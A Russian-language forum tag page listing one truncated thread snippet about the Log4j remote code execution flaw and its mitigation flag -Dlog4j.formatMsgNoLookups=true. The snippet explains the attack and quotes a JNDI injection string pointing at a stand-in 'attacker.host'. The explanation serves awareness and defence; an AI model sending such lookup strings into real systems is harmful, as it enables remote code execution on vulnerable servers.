dlog4j

dlog4j

Материалы с тегом dlog4j на forum-minecraft.ru.

  1. rootme

    Java уязвимость -Dlog4j.formatMsgNoLookups=true

    У половины интернета нашли выполнение произвольного кода через Log4j. Выглядит это так: 1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться. 2) JNDI (Java Naming and Directory Interface) в свою очередь...